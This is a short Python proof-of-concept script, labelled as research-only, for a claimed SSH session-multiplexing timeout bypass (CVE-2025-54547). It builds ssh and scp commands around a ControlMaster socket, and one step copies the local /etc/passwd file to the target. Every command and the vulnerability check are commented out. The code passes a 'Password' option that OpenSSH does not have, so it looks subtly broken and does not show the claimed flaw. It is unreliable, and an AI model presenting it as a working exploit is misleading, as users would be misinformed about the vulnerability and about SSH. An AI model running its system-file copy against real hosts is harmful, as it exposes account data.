#!/usr/bin/env python3
"""
CVE-2025-54547 PoC - SSH Session Multiplexing Timeout Bypass
Note: This is a conceptual PoC for educational/research purposes only.
Requires authorized access to target system.
"""
import subprocess
import time
import os
def test_multiplexing_bypass(target_host, username, password):
"""
Test SSH session multiplexing timeout behavior.
This PoC demonstrates the vulnerability where multiplexed sessions
can continue after timeout expiration.
"""
control_path = f"/tmp/ssh_mux_{username}@{target_host}"
# Clean up any existing control socket
if os.path.exists(control_path):
os.remove(control_path)
# Step 1: Establish initial SSH connection with multiplexing
# Using ControlMaster=auto, ControlPath, and ControlPersist
cmd_master = [
'ssh', '-o', f'ControlMaster=auto',
'-o', f'ControlPath={control_path}',
'-o', 'ControlPersist=600',
'-o', f'User={username}',
'-o', f'Password={password}',
'-o', 'ServerAliveInterval=60',
'-o', 'ServerAliveCountMax=1',
'-o', 'ConnectTimeout=30',
f'{username}@{target_host}',
'echo "Master session established"'
]
print("[*] Establishing master SSH session with multiplexing...")
# result = subprocess.run(cmd_master, capture_output=True, text=True, timeout=30)
# Step 2: Create multiplexed session (SCP transfer)
# This simulates file transfer that should timeout
cmd_multiplex = [
'scp', '-o', f'ControlPath={control_path}',
'-o', 'ControlMaster=auto',
'/etc/passwd', f'{username}@{target_host}:/tmp/',
]
print("[*] Creating multiplexed SCP session...")
# result = subprocess.run(cmd_multiplex, capture_output=True, text=True, timeout=30)
# Step 3: Wait for session timeout (simulated)
print("[*] Waiting for session timeout to expire...")
# time.sleep(timeout_duration)
# Step 4: Attempt file operation after timeout
# In vulnerable systems, this should fail but may succeed
cmd_after_timeout = [
'ssh', '-o', f'ControlPath={control_path}',
'-o', 'ControlMaster=auto',
f'{username}@{target_host}',
'ls -la /tmp/'
]
print("[*] Attempting file operation after timeout...")
# result = subprocess.run(cmd_after_timeout, capture_output=True, text=True, timeout=30)
# Check if operation succeeded (indicates vulnerability)
# if result.returncode == 0:
# print("[!] VULNERABLE: Session still active after timeout!")
# else:
# print("[+] SECURE: Session properly terminated after timeout")
# Cleanup
if os.path.exists(control_path):
os.remove(control_path)
return True
if __name__ == "__main__":
print("CVE-2025-54547 SSH Session Multiplexing Timeout Bypass Test")
print("=" * 60)
print("WARNING: Only use on systems you have authorized access to.")
# test_multiplexing_bypass('target.example.com', 'admin', 'password')